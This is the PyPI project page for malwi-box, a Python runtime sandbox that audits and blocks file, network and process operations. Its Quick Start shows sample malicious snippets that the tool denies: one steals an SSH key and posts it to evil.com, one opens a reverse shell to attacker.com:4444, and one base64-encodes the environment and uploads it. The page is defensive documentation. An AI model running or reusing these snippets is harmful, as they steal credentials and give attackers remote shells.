Skip to main content

Intercept, audit, and block critical Python operations at runtime

Project description

malwi-box logo

malwi-box

Intercept, audit, and block critical Python operations at runtime.

Shipped without any dependencies, except pip

malwi-box demo

Use Cases

  • 🔬 Malware analysis - Safely detonate suspicious Python code and observe its behavior
  • 📦 Dependency auditing - Discover what file, network, and process access a package actually needs
  • 🔒 Runtime protection - Enforce allowlists to block unauthorized operations in production

Warning: This tool is not executed in isolation or virtualization, it runs on your actual machine, kernel and CPU. Use it at your own risk. Still it allows to reduce the blast radius of typical Python malware.

Installation

pip install malwi-box

Or with uv:

uv tool install malwi-box

Quick Start

Credential theft - Malware reads SSH keys and sends them to attacker:

$ malwi-box eval --review "
import os, urllib.request
key = open(os.path.expanduser('~/.ssh/id_rsa')).read()
urllib.request.urlopen('https://evil.com/steal', key.encode())
"
[malwi-box] Read file: /Users/you/.ssh/id_rsa
Approve? [Y/n/i]: n
Denied

Reverse shell - Malware connects to attacker's C2 server:

$ malwi-box eval --review "
import socket, subprocess
s = socket.socket()
s.connect(('attacker.com', 4444))
subprocess.call(['/bin/sh', '-i'], stdin=s.fileno(), stdout=s.fileno())
"
[malwi-box] Connect: attacker.com:4444
Approve? [Y/n/i]: n
Denied

Data exfiltration - Malware encodes and uploads environment secrets:

$ malwi-box eval --review "
import os, base64, urllib.request
secrets = base64.b64encode(str(os.environ).encode())
urllib.request.urlopen('https://evil.com/upload', secrets)
"
[malwi-box] Base64: b64encode (<string>:3)
[malwi-box] HTTP POST: https://evil.com/upload
Approve? [Y/n/i]: n
Denied

Commands

run

Run a Python script or module with sandboxing.

malwi-box run script.py [args...]
malwi-box run --force script.py     # log violations without blocking
malwi-box run --review script.py    # approve/deny each operation

eval

Execute a Python code string with sandboxing.

malwi-box eval "print('hello')"
malwi-box eval --force "import os; os.system('id')"
malwi-box eval --review "open('/etc/passwd').read()"

install

Install pip packages with sandboxing. Most malware packages perform malicious activities at install-time.

malwi-box install package
malwi-box install package --version 1.2.3
malwi-box install -r requirements.txt
malwi-box install --review package # approve/deny each operation

config

Manage configuration.

malwi-box config create # creates .malwi-box.toml
malwi-box config create --path FILE

Configuration Reference

Config file: .malwi-box.toml

# File access permissions
allow_read = [
  "$PWD",                     # working directory
  "$PYTHON_STDLIB",           # Python standard library
  "$PYTHON_SITE_PACKAGES",    # installed packages
  "$HOME/.config/myapp",      # specific config directory
  "/etc/hosts",               # specific file
]

allow_create = [
  "$PWD",                     # allow creating files in workdir
  "$TMPDIR",                  # allow temp files
]

allow_modify = [
  "$PWD/data",                # only modify files in data/
  { path = "/etc/myapp.conf", hash = "sha256:abc123..." },
]

allow_delete = [
  "$TMPDIR",                  # allow temp cleanup
  "$PIP_CACHE",               # allow pip cache cleanup
]

# Network permissions
allow_domains = [
  "pypi.org",                 # allow any port
  "files.pythonhosted.org",
  "api.example.com:443",      # restrict to specific port
]

allow_ips = [
  "10.0.0.0/8",               # CIDR notation
  "192.168.1.100:8080",       # specific IP:port
  "[::1]:443",                # IPv6 with port
]

# HTTP URL path restrictions (empty = block all)
allow_http_urls = [
  "$PYPI_DOMAINS/*",              # use variable for PyPI URLs
  "api.example.com/v1/*",         # glob pattern for paths
  "cdn.example.com/assets/*",
  "https://secure.example.com/*", # explicit scheme
]

# HTTP methods allowed (empty = block all)
allow_http_methods = ["$ALL_HTTP_METHODS"]  # variable for all standard methods

# Raw socket access (default: false, blocks SOCK_RAW creation)
allow_raw_sockets = false

# Process execution
allow_executables = [
  "/usr/bin/git",             # allow by path
  "$PWD/.venv/bin/*",         # glob pattern
  { path = "/usr/bin/curl", hash = "sha256:abc123..." },
]

allow_shell_commands = [
  "/usr/bin/git *",           # glob pattern matching
  "/usr/bin/curl *",
]

# Environment variables (empty = block all)
allow_env_var_reads = ["$SAFE_ENV_VARS"]  # variable for safe env vars

Variables

Variables can be used in config values and are expanded at runtime.

Variable Expands To
Path variables
$PWD Working directory
$HOME User home directory
$TMPDIR System temp directory (macOS: /var/folders/.../T, Linux: /tmp)
$CACHE_HOME User cache directory (macOS: ~/Library/Caches, Linux: ~/.cache)
$PIP_CACHE pip cache directory
$VENV Active virtualenv root (if $VIRTUAL_ENV is set)
$PYTHON_STDLIB Python standard library
$PYTHON_SITE_PACKAGES Installed packages (purelib)
$PYTHON_PLATLIB Platform-specific packages
$PYTHON_PREFIX Python installation prefix
$ENV{VAR} Any environment variable
List variables Expand to multiple values
$PYPI_DOMAINS pypi.org, files.pythonhosted.org
$LOCALHOST 127.0.0.1, ::1, localhost
$ALL_HTTP_METHODS GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS
$SAFE_ENV_VARS PATH, HOME, USER, SHELL, TERM, LANG, LC_ALL, LC_CTYPE, PWD, OLDPWD, TMPDIR, TMP, TEMP, PYTHONPATH, VIRTUAL_ENV, CONDA_PREFIX, SOURCE_DATE_EPOCH

List variables can be combined with patterns: $PYPI_DOMAINS/* expands to pypi.org/*, files.pythonhosted.org/*.

Allowlist Behavior

All allow_* attributes consistently block when empty. Use variables to document what's being allowed:

Attribute Empty Behavior Default
allow_read Block all $PWD, $PYTHON_STDLIB, $PYTHON_SITE_PACKAGES, $PYTHON_PLATLIB, $PIP_CACHE, $TMPDIR, $CACHE_HOME
allow_create Block all $PWD, $TMPDIR, $PIP_CACHE
allow_modify Block all $TMPDIR, $PIP_CACHE
allow_delete Block all $TMPDIR, $PIP_CACHE
allow_domains Block all $PYPI_DOMAINS
allow_ips Block all $LOCALHOST
allow_http_urls Block all $PYPI_DOMAINS/*
allow_http_methods Block all $ALL_HTTP_METHODS
allow_executables Block all (none)
allow_shell_commands Block all (none)
allow_env_var_reads Block all $SAFE_ENV_VARS

Network Behavior

  • Domains in allow_domains automatically permit their resolved IPs
  • Direct IP access requires explicit allow_ips entries
  • CIDR notation supported for IP ranges
  • Port restrictions supported for both domains and IPs

HTTP Request Interception

Supported libraries:

  • urllib.request (stdlib)
  • http.client (stdlib)
  • urllib3
  • requests
  • httpx
  • aiohttp

URL allowlisting:

  • If allow_http_urls is empty, all HTTP requests are blocked
  • Default uses $PYPI_DOMAINS/* to allow pip install
  • Requests must match both domain AND URL pattern
  • Scheme (http://, https://) is optional in patterns - omit to match both
  • Glob patterns supported for paths: api.example.com/v1/*
  • Subdomain matching: example.com/api/* matches api.example.com/api/*

Method restrictions:

  • If allow_http_methods is empty, all HTTP requests are blocked
  • Default uses $ALL_HTTP_METHODS to allow all standard methods
  • If configured, only listed methods are permitted (e.g., ["GET", "HEAD"])

Bypass note: Raw socket HTTP requests bypass library hooks but are blocked by default (allow_raw_sockets = false). The socket.connect event still captures all connections at the network level.

Hash Verification

Executables and files can include SHA256 hashes:

allow_executables = [
  { path = "/usr/bin/git", hash = "sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" },
]

Information Events

Some operations are logged for auditing but never blocked. They help identify potentially suspicious behavior during program analysis:

Event Description Example Output Malware Indicator
encoding.base64 Base64 encode/decode Base64: b64encode Payload obfuscation
encoding.hex Hex encode/decode Hex: hexlify Payload obfuscation
encoding.zlib zlib compress/decompress Zlib: compress Packed payloads
encoding.gzip gzip compress/decompress Gzip: compress Packed payloads
encoding.bz2 bz2 compress/decompress Bz2: compress Packed payloads
encoding.lzma lzma/xz compress/decompress LZMA: compress Packed payloads
crypto.cipher Low-level cipher ops Cipher: Encrypt Generic encryption
crypto.fernet Fernet encryption Fernet: encrypt Symmetric encryption
crypto.hmac HMAC keyed hashing HMAC: new C2 authentication
crypto.rsa RSA key operations RSA: generate (2048 bits) Ransomware key exchange
crypto.aes AES encryption AES: init (CBC) File encryption
crypto.chacha20 ChaCha20 encryption ChaCha20: init Modern symmetric encryption
secrets.token Secure token generation SecureRandom: 32 bytes Key generation
pickle.find_class Class during unpickling Pickle: builtins.list Code execution
marshal.loads Loading bytecode Marshal: loads Bytecode injection
shutil.unpack_archive Archive extraction Unpack: file.zip -> /tmp Zip bombs, path traversal
os.putenv Set environment variable Set env var: PATH=/tmp Env manipulation
os.unsetenv Unset environment variable Unset env var: DEBUG Env manipulation

Bypass Protection

  • Blocks sys.addaudithook to prevent registering competing hooks
  • Blocks sys.settrace and sys.setprofile to prevent debugger-based evasion
  • Blocks ctypes.dlopen by default to prevent loading native code that bypasses hooks

Limitations

  • Audit hooks cannot be bypassed from Python, but native code can
  • Here it is important to review which executables are allow-listed

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

malwi_box-0.0.11.tar.gz (58.6 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

malwi_box-0.0.11-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (97.1 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

malwi_box-0.0.11-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (94.4 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

malwi_box-0.0.11-cp313-cp313-macosx_11_0_arm64.whl (48.9 kB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

malwi_box-0.0.11-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (94.5 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

malwi_box-0.0.11-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (91.6 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

malwi_box-0.0.11-cp312-cp312-macosx_11_0_arm64.whl (48.9 kB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

malwi_box-0.0.11-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (94.6 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

malwi_box-0.0.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (92.0 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

malwi_box-0.0.11-cp311-cp311-macosx_11_0_arm64.whl (49.0 kB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

malwi_box-0.0.11-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (94.7 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

malwi_box-0.0.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (92.1 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

malwi_box-0.0.11-cp310-cp310-macosx_11_0_arm64.whl (49.0 kB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

File details

Details for the file malwi_box-0.0.11.tar.gz.

File metadata

  • Download URL: malwi_box-0.0.11.tar.gz
  • Upload date:
  • Size: 58.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for malwi_box-0.0.11.tar.gz
Algorithm Hash digest
SHA256 95eb131308fee7dc0c266bbb1687b2785ed0c35bf490f02dedfd592a291624f3
MD5 a9a516d97730f49a722d934173f04450
BLAKE2b-256 0d8e8b0f65c998d04bf6a7b517105b9f60f233486df9b52d19bcaf47a9436850

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11.tar.gz:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 66e9d63ea809c2ae15c5fc2b8fb26cea0b221bbf4d10c6bcb5706dc2f3736a4f
MD5 689f7bab73b780ab19ca68e7bdc4ac47
BLAKE2b-256 1ac3399574e7530b2f750df005804cd44a9825dbd16a58e7673a95fe0f568541

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 c3654af0f8fc90a83b98bb2e3c61b1a065126a84a32cb88e0e0030aafe66425d
MD5 558054d9ea94912647b16fc7267a2226
BLAKE2b-256 e809507f95c9efcd22e574424d0012adacaa0ded21ddb8e82815d0aa922a3312

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 9376d9cf13cc83e0342038bfab8f7b933bc7fd19c12e416bae92db7f68a2a203
MD5 3f5821964455bdcb934dda189550f08a
BLAKE2b-256 967d883d626512b7dbe74a085dafa9077ca4c8b877735b6cd6ec361cf0674b70

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp313-cp313-macosx_11_0_arm64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 bef8d8ae9ecdc6d0287bbbc62904b622225780dde71036a6a3cd173ab51dd3e7
MD5 310447b6cf42f8fc730450000b14472d
BLAKE2b-256 d4a14e2e8c9901a7a92d19786318bd2c625503f82d8a13ac4661013afc974185

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 cb16f0ad7388a6e82f7358b953d492c278b758d21d44533387c283e64516bc43
MD5 8fd2b782d11811abf164205cd6c4906e
BLAKE2b-256 cea870f3233b75d34815e380e818568f1449b2af84e49037a8979fa0868179af

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 5c84f3f04a8229f0f2d8644125590b8858772c55a5b4f8d475b07b88835f72e6
MD5 96e15cbefe0f044790344262bcff4dab
BLAKE2b-256 22b6319e247761dc39186d3cab7ceceacd0a0882bde7d4fd8772a709678a291a

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp312-cp312-macosx_11_0_arm64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 22d95ead7e71106f661645e8d91dd782f59ff88c7e9ad1c423a511aa73624c93
MD5 a1047fe9f78c085afd3d9fbb1173d525
BLAKE2b-256 22b5c1f0e0acc801f6afae2f48ecf8ebe40e1d442dcc5effc295d0793464f3be

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 83c3809418fb16bd954881cb6966ec3f8a48c159a8022fb311f54ea83975a61c
MD5 00a5be40c3379a29162b271f8ec9710b
BLAKE2b-256 3182e667feb977e39dfd0497c1c53424c548f7134d14ea12cb1fb1462cfadce6

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 28f8ddfebe38808ac83055b0e0930b71fad309a0fa04ac20eb54890424ae6e9a
MD5 54d22ca4b388b873fba2b72f3da3fa34
BLAKE2b-256 397473a9e427af96cfce57282ccfd58949816287521597f2ea8b8827193dd0a3

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp311-cp311-macosx_11_0_arm64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 27fba01023f6044e94cc190e54f0fed2476954f6e6b1e68e676f3a376f62110b
MD5 8b9b51c57e1bb84aa8216818cfcc700c
BLAKE2b-256 86317e461a6cab719546744f3a488e3fb67032c2219944c67bc70ad49d65934c

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 d3ddcb75b383e1a0dc7d6d76934c036dbf88d93b310b682d5f639e950df48bd2
MD5 1b828dd3f425404a8122f5030985734d
BLAKE2b-256 a0816bc0a781d4c28784bf79f07e80672d48d3a1d1e66b85018405b0f1436a29

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.11-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.11-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 97e67f03923dfb34577e30b60e61d22abf45dc382d4cebfc5763a68797a170e5
MD5 6b3bc7b8dfbb9faefb87a888f0bc85f6
BLAKE2b-256 4b9565f69e46fd1dfa0bc93d6c24da629140663d659654860cabd0aa4dbf0bff

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.11-cp310-cp310-macosx_11_0_arm64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page